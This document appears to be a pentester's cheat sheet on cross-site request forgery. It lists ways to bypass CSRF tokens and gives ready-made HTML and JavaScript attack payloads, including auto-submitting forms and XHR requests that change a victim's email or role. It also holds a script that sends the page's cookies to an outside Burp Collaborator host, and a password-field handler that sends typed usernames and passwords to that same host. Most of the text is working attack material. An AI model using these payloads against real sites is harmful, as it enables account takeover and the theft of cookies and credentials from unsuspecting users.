Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.
3 conditions must be in place:
A relevant action.
Cookie-based session handling.
No unpredictable request parameters.
Approach
- Removing the token parameter entirely- Setting the token to a blank string- Changing the token to an invalid token of the same format- Using a different user's token- Put the parameters in the URL instead of POST body (and remove the token)and change the HTTP verb to GET- Testing every sensitive endpoint- Check whether the token might be guessed / cracked- Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
- Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
- Extract token with HTML injection.- Use a CSRF token that has been used before.- Bypass regex.- Remove referer header.- Request a CSRF by executing the call manually and use that token for the request.
Quick attacks
# HTML GET
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
# HTML GET (no interaction)
<img src=”http://vulnerable/endpoint?parameter=CSRFd">
# HTML POST:
<form action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
# HTML POST (no interaction)
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
# JSON GET:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable/endpoint");
xhr.send();
</script>
# JSON POST
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vulnerable/endpoint");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
# Exploit CSRF in GET:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
- SameSite cookie property avoid the attack:
→ Only from same site:
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
→ From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Json CSRF
Requirements:1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
2. The HTTP request should not be fortify by the custom random token on the header aswellinthebody.(X-Auth-Token)3. The HTTP request should not be fortify by the Same Origin Policy.Bypass 2&3:• Change the request method to GET append the body asqueryparameter.• Test the request without the Customized Token (X-Auth-Token) and also header.• Test the request with exact same length but different token.If post is not allowed, can trywithURL/param?_method=PUT<bodyonload='document.forms[0].submit()'><formaction="https://<vulnerable-url>?_method=PUT"method="POST"enctype="text/plain"> <inputtype="text"name='{"username":"blob","dummy":"'value='"}'> <inputtype="submit"value="send"></form><!---This results in a request body of:{"username":"blob","dummy": "="} -->
CSRF Token Bypass
CSRF TokensUnpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
→ Is transmited to the client through a hidden field:- Example: __POST/email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length:68 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com __- Validation depends on method (usually POST): __GET/email/change?email=pwned@evil-user.net HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm __- Validation depend on token is present (if not, validation is skipped):--POST/email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length:25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm email=pwned@evil-user.net---CSRF not tied to user session-CSRF tied to a non-session cookie:--POST/email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length:68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com---CSRF token duplicated in cookie:--POST/email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length:68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com--- Validation of referer depends on header present (if not, validation is skipped)- Circumvent referer validation (if only checks the domain existence)- Remove Anti-CSRF Token- Spoof Anti-CSRF Token by Changing a few bits- Using Same Anti-CSRF Token- Weak Cryptography to generate Anti-CSRF Token- Guessable Anti-CSRF Token- Stealing Token with other attacks such asXSS.- Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)Other validations bypasses:1) remove anticsrf tokens & parameter2) pass blank paramter3) add same length token4) add another userss valid anti csrf token5) random token in long length (aaaaaaaaa) 6) Try decode token7) Use only static part of the token